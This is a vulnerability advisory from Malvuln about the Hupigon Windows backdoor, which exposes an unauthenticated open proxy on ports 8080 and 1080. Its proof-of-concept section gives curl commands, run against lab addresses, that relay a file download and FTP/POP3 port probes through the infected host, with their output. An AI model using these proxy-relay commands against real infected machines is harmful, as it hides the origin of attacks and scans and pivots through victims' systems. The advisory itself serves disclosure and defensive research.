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Backdoor.Win32.Hupigon.fjcd MVID-2021-0349 Unauthenticated Open Proxy

Backdoor.Win32.Hupigon.fjcd MVID-2021-0349 Unauthenticated Open Proxy
Posted Sep 27, 2021
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Hupigon.fjcd malware suffers from an unauthenticated open proxy vulnerability.

tags | exploit
systems | windows
SHA-256 | 7de0bdc194e9a195fd15f5c530731f710ddb394ce0942d22da142be4871e92c4

Backdoor.Win32.Hupigon.fjcd MVID-2021-0349 Unauthenticated Open Proxy

Change Mirror Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/284f36e35db6a0aa9a493f39d834367e.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.fjcd
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP ports 8080, 1080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: 284f36e35db6a0aa9a493f39d834367e
Vuln ID: MVID-2021-0349
Dropped files: hao123.exe
Disclosure: 09/25/2021

Exploit/PoC:
Download filez)

curl http://192.168.18.125:8080/DOOM.exe -H "Host: 192.168.18.128" --output DOOM.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 24576 100 24576 0 0 24576 0 0:00:01 --:--:-- 0:00:01 258k

Scan ports)

curl http://192.168.18.125:8080 -H "Host: 192.168.18.128:21"
220 INetSim FTP Service ready.
500 Unknown command.


curl http://192.168.18.125:8080 -H "Host: 192.168.18.128:110"
+OK INetSim POP3 Server ready <23200.1632535913@pop3host>
-ERR Unknown command.


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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